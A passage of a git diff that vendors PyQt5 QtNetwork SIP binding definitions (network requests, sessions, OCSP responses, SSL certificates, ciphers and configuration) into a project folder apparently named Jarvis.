+%If (PyQt_SSL) + virtual void sslConfigurationImplementation(QSslConfiguration &) const; +%End +%If (PyQt_SSL) + virtual void setSslConfigurationImplementation(const QSslConfiguration &); +%End +%If (PyQt_SSL) + virtual void ignoreSslErrorsImplementation(const QList &); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkrequest.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkrequest.sip new file mode 100644 index 00000000..6651b938 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworkrequest.sip @@ -0,0 +1,202 @@ +// qnetworkrequest.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QNetworkRequest +{ +%TypeHeaderCode +#include +%End + +public: + enum KnownHeaders + { + ContentTypeHeader, + ContentLengthHeader, + LocationHeader, + LastModifiedHeader, + CookieHeader, + SetCookieHeader, + ContentDispositionHeader, + UserAgentHeader, + ServerHeader, +%If (Qt_5_12_0 -) + IfModifiedSinceHeader, +%End +%If (Qt_5_12_0 -) + ETagHeader, +%End +%If (Qt_5_12_0 -) + IfMatchHeader, +%End +%If (Qt_5_12_0 -) + IfNoneMatchHeader, +%End + }; + + enum Attribute + { + HttpStatusCodeAttribute, + HttpReasonPhraseAttribute, + RedirectionTargetAttribute, + ConnectionEncryptedAttribute, + CacheLoadControlAttribute, + CacheSaveControlAttribute, + SourceIsFromCacheAttribute, + DoNotBufferUploadDataAttribute, + HttpPipeliningAllowedAttribute, + HttpPipeliningWasUsedAttribute, + CustomVerbAttribute, + CookieLoadControlAttribute, + AuthenticationReuseAttribute, + CookieSaveControlAttribute, + BackgroundRequestAttribute, +%If (Qt_5_3_0 -) + SpdyAllowedAttribute, +%End +%If (Qt_5_3_0 -) + SpdyWasUsedAttribute, +%End +%If (Qt_5_5_0 -) + EmitAllUploadProgressSignalsAttribute, +%End +%If (Qt_5_6_0 -) + FollowRedirectsAttribute, +%End +%If (Qt_5_8_0 -) + HTTP2AllowedAttribute, +%End +%If (Qt_5_15_0 -) + Http2AllowedAttribute, +%End +%If (Qt_5_8_0 -) + HTTP2WasUsedAttribute, +%End +%If (Qt_5_15_0 -) + Http2WasUsedAttribute, +%End +%If (Qt_5_9_0 -) + OriginalContentLengthAttribute, +%End +%If (Qt_5_9_0 -) + RedirectPolicyAttribute, +%End +%If (Qt_5_11_0 -) + Http2DirectAttribute, +%End +%If (Qt_5_14_0 -) + AutoDeleteReplyOnFinishAttribute, +%End + User, + UserMax, + }; + + enum CacheLoadControl + { + AlwaysNetwork, + PreferNetwork, + PreferCache, + AlwaysCache, + }; + + enum LoadControl + { + Automatic, + Manual, + }; + + enum Priority + { + HighPriority, + NormalPriority, + LowPriority, + }; + + explicit QNetworkRequest(const QUrl &url = QUrl()); + QNetworkRequest(const QNetworkRequest &other); + ~QNetworkRequest(); + QUrl url() const; + void setUrl(const QUrl &url); + QVariant header(QNetworkRequest::KnownHeaders header) const; + void setHeader(QNetworkRequest::KnownHeaders header, const QVariant &value); + bool hasRawHeader(const QByteArray &headerName) const; + QList rawHeaderList() const; + QByteArray rawHeader(const QByteArray &headerName) const; + void setRawHeader(const QByteArray &headerName, const QByteArray &value); + QVariant attribute(QNetworkRequest::Attribute code, const QVariant &defaultValue = QVariant()) const; + void setAttribute(QNetworkRequest::Attribute code, const QVariant &value); +%If (PyQt_SSL) + QSslConfiguration sslConfiguration() const; +%End +%If (PyQt_SSL) + void setSslConfiguration(const QSslConfiguration &configuration); +%End + bool operator==(const QNetworkRequest &other) const; + bool operator!=(const QNetworkRequest &other) const; + void setOriginatingObject(QObject *object /KeepReference/); + QObject *originatingObject() const; + QNetworkRequest::Priority priority() const; + void setPriority(QNetworkRequest::Priority priority); + void swap(QNetworkRequest &other /Constrained/); +%If (Qt_5_6_0 -) + int maximumRedirectsAllowed() const; +%End +%If (Qt_5_6_0 -) + void setMaximumRedirectsAllowed(int maximumRedirectsAllowed); +%End +%If (Qt_5_9_0 -) + + enum RedirectPolicy + { + ManualRedirectPolicy, + NoLessSafeRedirectPolicy, + SameOriginRedirectPolicy, + UserVerifiedRedirectPolicy, + }; + +%End +%If (Qt_5_13_0 -) + QString peerVerifyName() const; +%End +%If (Qt_5_13_0 -) + void setPeerVerifyName(const QString &peerName); +%End +%If (Qt_5_14_0 -) + QHttp2Configuration http2Configuration() const; +%End +%If (Qt_5_14_0 -) + void setHttp2Configuration(const QHttp2Configuration &configuration); +%End +%If (Qt_5_15_0 -) + + enum TransferTimeoutConstant + { + DefaultTransferTimeoutConstant, + }; + +%End +%If (Qt_5_15_0 -) + int transferTimeout() const; +%End +%If (Qt_5_15_0 -) + void setTransferTimeout(int timeout = QNetworkRequest::TransferTimeoutConstant::DefaultTransferTimeoutConstant); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworksession.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworksession.sip new file mode 100644 index 00000000..26ebcd21 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qnetworksession.sip @@ -0,0 +1,98 @@ +// qnetworksession.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QNetworkSession : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum State + { + Invalid, + NotAvailable, + Connecting, + Connected, + Closing, + Disconnected, + Roaming, + }; + + enum SessionError + { + UnknownSessionError, + SessionAbortedError, + RoamingError, + OperationNotSupportedError, + InvalidConfigurationError, + }; + + QNetworkSession(const QNetworkConfiguration &connConfig, QObject *parent /TransferThis/ = 0); + virtual ~QNetworkSession(); + bool isOpen() const; + QNetworkConfiguration configuration() const; + QNetworkInterface interface() const; + QNetworkSession::State state() const; + QNetworkSession::SessionError error() const; + QString errorString() const; + QVariant sessionProperty(const QString &key) const; + void setSessionProperty(const QString &key, const QVariant &value); + quint64 bytesWritten() const; + quint64 bytesReceived() const; + quint64 activeTime() const; + bool waitForOpened(int msecs = 30000) /ReleaseGIL/; + +public slots: + void open(); + void close(); + void stop(); + void migrate(); + void ignore(); + void accept(); + void reject(); + +signals: + void stateChanged(QNetworkSession::State); + void opened(); + void closed(); + void error(QNetworkSession::SessionError); + void preferredConfigurationChanged(const QNetworkConfiguration &config, bool isSeamless); + void newConfigurationActivated(); + +protected: + virtual void connectNotify(const QMetaMethod &signal); + virtual void disconnectNotify(const QMetaMethod &signal); + +public: + enum UsagePolicy + { + NoPolicy, + NoBackgroundTrafficPolicy, + }; + + typedef QFlags UsagePolicies; + QNetworkSession::UsagePolicies usagePolicies() const; + +signals: + void usagePoliciesChanged(QNetworkSession::UsagePolicies usagePolicies); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qocspresponse.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qocspresponse.sip new file mode 100644 index 00000000..8ffcd4f4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qocspresponse.sip @@ -0,0 +1,96 @@ +// qocspresponse.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_13_0 -) +%If (PyQt_SSL) +%ModuleCode +#include +%End +%End +%End + +%If (Qt_5_13_0 -) +%If (PyQt_SSL) + +enum class QOcspCertificateStatus +{ + Good, + Revoked, + Unknown, +}; + +%End +%End +%If (Qt_5_13_0 -) +%If (PyQt_SSL) + +enum class QOcspRevocationReason +{ + None /PyName=None_/, + Unspecified, + KeyCompromise, + CACompromise, + AffiliationChanged, + Superseded, + CessationOfOperation, + CertificateHold, + RemoveFromCRL, +}; + +%End +%End +%If (Qt_5_13_0 -) +%If (PyQt_SSL) + +class QOcspResponse +{ +%TypeHeaderCode +#include +%End + +public: + QOcspResponse(); + QOcspResponse(const QOcspResponse &other); + ~QOcspResponse(); + QOcspCertificateStatus certificateStatus() const; + QOcspRevocationReason revocationReason() const; + QSslCertificate responder() const; + QSslCertificate subject() const; + void swap(QOcspResponse &other); + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End +}; + +%End +%End +%If (Qt_5_13_0 -) +%If (PyQt_SSL) +bool operator==(const QOcspResponse &lhs, const QOcspResponse &rhs); +%End +%End +%If (Qt_5_13_0 -) +%If (PyQt_SSL) +bool operator!=(const QOcspResponse &lhs, const QOcspResponse &rhs); +%End +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qpassworddigestor.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qpassworddigestor.sip new file mode 100644 index 00000000..fb9f04e6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qpassworddigestor.sip @@ -0,0 +1,37 @@ +// qpassworddigestor.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_12_0 -) +%If (PyQt_SSL) + +namespace QPasswordDigestor +{ +%TypeHeaderCode +#include +%End + + QByteArray deriveKeyPbkdf1(QCryptographicHash::Algorithm algorithm, const QByteArray &password, const QByteArray &salt, int iterations, quint64 dkLen); + QByteArray deriveKeyPbkdf2(QCryptographicHash::Algorithm algorithm, const QByteArray &password, const QByteArray &salt, int iterations, quint64 dkLen); +}; + +%End +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qpynetwork_qhash.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qpynetwork_qhash.sip new file mode 100644 index 00000000..43b04e32 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qpynetwork_qhash.sip @@ -0,0 +1,132 @@ +// This is the SIP interface definition for the QHash based mapped types +// specific to the QtNetwork module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%MappedType QHash + /TypeHint="Dict[QNetworkRequest.Attribute, QVariant]", + TypeHintValue="{}"/ +{ +%TypeHeaderCode +#include +#include +#include +%End + +%ConvertFromTypeCode + PyObject *d = PyDict_New(); + + if (!d) + return 0; + + QHash::const_iterator it = sipCpp->constBegin(); + QHash::const_iterator end = sipCpp->constEnd(); + + while (it != end) + { + PyObject *kobj = sipConvertFromEnum(it.key(), + sipType_QNetworkRequest_Attribute); + + if (!kobj) + { + Py_DECREF(d); + + return 0; + } + + QVariant *v = new QVariant(it.value()); + PyObject *vobj = sipConvertFromNewType(v, sipType_QVariant, + sipTransferObj); + + if (!vobj) + { + delete v; + Py_DECREF(kobj); + Py_DECREF(d); + + return 0; + } + + int rc = PyDict_SetItem(d, kobj, vobj); + + Py_DECREF(vobj); + Py_DECREF(kobj); + + if (rc < 0) + { + Py_DECREF(d); + + return 0; + } + + ++it; + } + + return d; +%End + +%ConvertToTypeCode + if (!sipIsErr) + return PyDict_Check(sipPy); + + QHash *qh = new QHash; + + Py_ssize_t pos = 0; + PyObject *kobj, *vobj; + + while (PyDict_Next(sipPy, &pos, &kobj, &vobj)) + { + int k = sipConvertToEnum(kobj, sipType_QNetworkRequest_Attribute); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "a key has type '%s' but 'QNetworkRequest.Attribute' is expected", + sipPyTypeName(Py_TYPE(kobj))); + + delete qh; + *sipIsErr = 1; + + return 0; + } + + int vstate; + QVariant *v = reinterpret_cast( + sipForceConvertToType(vobj, sipType_QVariant, sipTransferObj, + SIP_NOT_NONE, &vstate, sipIsErr)); + + if (*sipIsErr) + { + // Any error must be internal, so leave the exception as it is. + + delete qh; + + return 0; + } + + qh->insert(static_cast(k), *v); + + sipReleaseType(v, sipType_QVariant, vstate); + } + + *sipCppPtr = qh; + + return sipGetState(sipTransferObj); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qpynetwork_qmap.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qpynetwork_qmap.sip new file mode 100644 index 00000000..eb208f9b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qpynetwork_qmap.sip @@ -0,0 +1,160 @@ +// This is the SIP interface definition for the QMap and QMultiMap based mapped +// types specific to the QtNetwork module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_SSL) + +%MappedType QMultiMap + /TypeHintOut="Dict[QSsl.AlternativeNameEntryType, List[QString]]", + TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +#include +%End + +%ConvertFromTypeCode + // Get the enum objects that are the dictionary keys. + static PyObject *email_entry = 0; + static PyObject *dns_entry = 0; + + if (!email_entry) + { + email_entry = PyObject_GetAttrString( + (PyObject *)sipTypeAsPyTypeObject(sipType_QSsl), "EmailEntry"); + + if (!email_entry) + return 0; + } + + if (!dns_entry) + { + dns_entry = PyObject_GetAttrString( + (PyObject *)sipTypeAsPyTypeObject(sipType_QSsl), "DnsEntry"); + + if (!dns_entry) + return 0; + } + + // Create the dictionary. + PyObject *d = PyDict_New(); + + if (!d) + return 0; + + QList vl; + + // Handle the Qssl::EmailEntry key. + vl = sipCpp->values(QSsl::EmailEntry); + + if (!vl.isEmpty()) + { + PyObject *vlobj = PyList_New(vl.count()); + + if (!vlobj) + { + Py_DECREF(d); + return 0; + } + + int rc = PyDict_SetItem(d, email_entry, vlobj); + + Py_DECREF(email_entry); + Py_DECREF(vlobj); + + if (rc < 0) + { + Py_DECREF(d); + return 0; + } + + for (int i = 0; i < vl.count(); ++i) + { + QString *s = new QString(vl.at(i)); + PyObject *vobj = sipConvertFromNewType(s, sipType_QString, + sipTransferObj); + + if (!vobj) + { + delete s; + Py_DECREF(d); + return 0; + } + + PyList_SetItem(vlobj, i, vobj); + } + } + + // Handle the Qssl::DnsEntry key. + vl = sipCpp->values(QSsl::DnsEntry); + + if (!vl.isEmpty()) + { + PyObject *vlobj = PyList_New(vl.count()); + + if (!vlobj) + { + Py_DECREF(d); + return 0; + } + + int rc = PyDict_SetItem(d, dns_entry, vlobj); + + Py_DECREF(dns_entry); + Py_DECREF(vlobj); + + if (rc < 0) + { + Py_DECREF(d); + return 0; + } + + for (int i = 0; i < vl.count(); ++i) + { + QString *s = new QString(vl.at(i)); + PyObject *vobj = sipConvertFromNewType(s, sipType_QString, + sipTransferObj); + + if (!vobj) + { + delete s; + Py_DECREF(d); + return 0; + } + + PyList_SetItem(vlobj, i, vobj); + } + } + + return d; +%End + +%ConvertToTypeCode + if (!sipIsErr) + return PyDict_Check(sipPy); + + PyErr_SetString(PyExc_NotImplementedError, + "converting to QMultiMap is unsupported"); + + return 0; +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qssl.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qssl.sip new file mode 100644 index 00000000..0b355ddd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qssl.sip @@ -0,0 +1,129 @@ +// qssl.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_SSL) + +namespace QSsl +{ +%TypeHeaderCode +#include +%End + + enum KeyType + { + PrivateKey, + PublicKey, + }; + + enum EncodingFormat + { + Pem, + Der, + }; + + enum KeyAlgorithm + { + Opaque, + Rsa, + Dsa, +%If (Qt_5_5_0 -) + Ec, +%End +%If (Qt_5_13_0 -) + Dh, +%End + }; + + enum AlternativeNameEntryType + { + EmailEntry, + DnsEntry, +%If (Qt_5_13_0 -) + IpAddressEntry, +%End + }; + + enum SslProtocol + { + UnknownProtocol, + SslV3, + SslV2, + TlsV1_0, +%If (Qt_5_5_0 -) + TlsV1_0OrLater, +%End + TlsV1_1, +%If (Qt_5_5_0 -) + TlsV1_1OrLater, +%End + TlsV1_2, +%If (Qt_5_5_0 -) + TlsV1_2OrLater, +%End + AnyProtocol, + TlsV1SslV3, + SecureProtocols, +%If (Qt_5_12_0 -) + DtlsV1_0, +%End +%If (Qt_5_12_0 -) + DtlsV1_0OrLater, +%End +%If (Qt_5_12_0 -) + DtlsV1_2, +%End +%If (Qt_5_12_0 -) + DtlsV1_2OrLater, +%End +%If (Qt_5_12_0 -) + TlsV1_3, +%End +%If (Qt_5_12_0 -) + TlsV1_3OrLater, +%End + }; + + enum SslOption + { + SslOptionDisableEmptyFragments, + SslOptionDisableSessionTickets, + SslOptionDisableCompression, + SslOptionDisableServerNameIndication, + SslOptionDisableLegacyRenegotiation, +%If (Qt_5_2_0 -) + SslOptionDisableSessionSharing, +%End +%If (Qt_5_2_0 -) + SslOptionDisableSessionPersistence, +%End +%If (Qt_5_6_0 -) + SslOptionDisableServerCipherPreference, +%End + }; + + typedef QFlags SslOptions; +}; + +%End +%If (PyQt_SSL) +QFlags operator|(QSsl::SslOption f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslcertificate.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslcertificate.sip new file mode 100644 index 00000000..0b0f29a8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslcertificate.sip @@ -0,0 +1,108 @@ +// qsslcertificate.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_SSL) + +class QSslCertificate +{ +%TypeHeaderCode +#include +%End + +public: + enum SubjectInfo + { + Organization, + CommonName, + LocalityName, + OrganizationalUnitName, + CountryName, + StateOrProvinceName, + DistinguishedNameQualifier, + SerialNumber, + EmailAddress, + }; + + QSslCertificate(QIODevice *device, QSsl::EncodingFormat format = QSsl::Pem) /ReleaseGIL/; + QSslCertificate(const QByteArray &data = QByteArray(), QSsl::EncodingFormat format = QSsl::Pem); + QSslCertificate(const QSslCertificate &other); + ~QSslCertificate(); + bool operator==(const QSslCertificate &other) const; + bool operator!=(const QSslCertificate &other) const; + bool isNull() const; + void clear(); + QByteArray version() const; + QByteArray serialNumber() const; + QByteArray digest(QCryptographicHash::Algorithm algorithm = QCryptographicHash::Md5) const; + QStringList issuerInfo(QSslCertificate::SubjectInfo info) const; + QStringList issuerInfo(const QByteArray &attribute) const; + QStringList subjectInfo(QSslCertificate::SubjectInfo info) const; + QStringList subjectInfo(const QByteArray &attribute) const; + QMultiMap subjectAlternativeNames() const; + QDateTime effectiveDate() const; + QDateTime expiryDate() const; + QSslKey publicKey() const; + QByteArray toPem() const; + QByteArray toDer() const; + static QList fromPath(const QString &path, QSsl::EncodingFormat format = QSsl::Pem, QRegExp::PatternSyntax syntax = QRegExp::FixedString); + static QList fromDevice(QIODevice *device, QSsl::EncodingFormat format = QSsl::Pem); + static QList fromData(const QByteArray &data, QSsl::EncodingFormat format = QSsl::Pem); + Qt::HANDLE handle() const; + void swap(QSslCertificate &other /Constrained/); + bool isBlacklisted() const; + QList subjectInfoAttributes() const; + QList issuerInfoAttributes() const; + QList extensions() const; + QString toText() const; + static QList verify(QList certificateChain, const QString &hostName = QString()); +%If (Qt_5_4_0 -) + bool isSelfSigned() const; +%End +%If (Qt_5_4_0 -) + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + +%End +%If (Qt_5_4_0 -) + static bool importPkcs12(QIODevice *device, QSslKey *key, QSslCertificate *certificate, QList *caCertificates = 0, const QByteArray &passPhrase = QByteArray()) /ReleaseGIL/; +%End +%If (Qt_5_12_0 -) + QString issuerDisplayName() const; +%End +%If (Qt_5_12_0 -) + QString subjectDisplayName() const; +%End +%If (Qt_5_15_0 -) + + enum class PatternSyntax + { + RegularExpression, + Wildcard, + FixedString, + }; + +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslcertificateextension.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslcertificateextension.sip new file mode 100644 index 00000000..8cb3d245 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslcertificateextension.sip @@ -0,0 +1,43 @@ +// qsslcertificateextension.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_SSL) + +class QSslCertificateExtension +{ +%TypeHeaderCode +#include +%End + +public: + QSslCertificateExtension(); + QSslCertificateExtension(const QSslCertificateExtension &other); + ~QSslCertificateExtension(); + void swap(QSslCertificateExtension &other /Constrained/); + QString oid() const; + QString name() const; + QVariant value() const; + bool isCritical() const; + bool isSupported() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslcipher.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslcipher.sip new file mode 100644 index 00000000..b89ba4c6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslcipher.sip @@ -0,0 +1,53 @@ +// qsslcipher.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_SSL) + +class QSslCipher +{ +%TypeHeaderCode +#include +%End + +public: + QSslCipher(); +%If (Qt_5_3_0 -) + explicit QSslCipher(const QString &name); +%End + QSslCipher(const QString &name, QSsl::SslProtocol protocol); + QSslCipher(const QSslCipher &other); + ~QSslCipher(); + bool operator==(const QSslCipher &other) const; + bool operator!=(const QSslCipher &other) const; + bool isNull() const; + QString name() const; + int supportedBits() const; + int usedBits() const; + QString keyExchangeMethod() const; + QString authenticationMethod() const; + QString encryptionMethod() const; + QString protocolString() const; + QSsl::SslProtocol protocol() const; + void swap(QSslCipher &other /Constrained/); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslconfiguration.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslconfiguration.sip new file mode 100644 index 00000000..8319aa10 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslconfiguration.sip @@ -0,0 +1,162 @@ +// qsslconfiguration.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_SSL) + +class QSslConfiguration +{ +%TypeHeaderCode +#include +%End + +public: + QSslConfiguration(); + QSslConfiguration(const QSslConfiguration &other); + ~QSslConfiguration(); + bool isNull() const; + QSsl::SslProtocol protocol() const; + void setProtocol(QSsl::SslProtocol protocol); + QSslSocket::PeerVerifyMode peerVerifyMode() const; + void setPeerVerifyMode(QSslSocket::PeerVerifyMode mode); + int peerVerifyDepth() const; + void setPeerVerifyDepth(int depth); + QSslCertificate localCertificate() const; + void setLocalCertificate(const QSslCertificate &certificate); + QSslCertificate peerCertificate() const; + QList peerCertificateChain() const; + QSslCipher sessionCipher() const; + QSslKey privateKey() const; + void setPrivateKey(const QSslKey &key); + QList ciphers() const; + void setCiphers(const QList &ciphers); + QList caCertificates() const; + void setCaCertificates(const QList &certificates); + static QSslConfiguration defaultConfiguration(); + static void setDefaultConfiguration(const QSslConfiguration &configuration); + bool operator==(const QSslConfiguration &other) const; + bool operator!=(const QSslConfiguration &other) const; + void setSslOption(QSsl::SslOption option, bool on); + bool 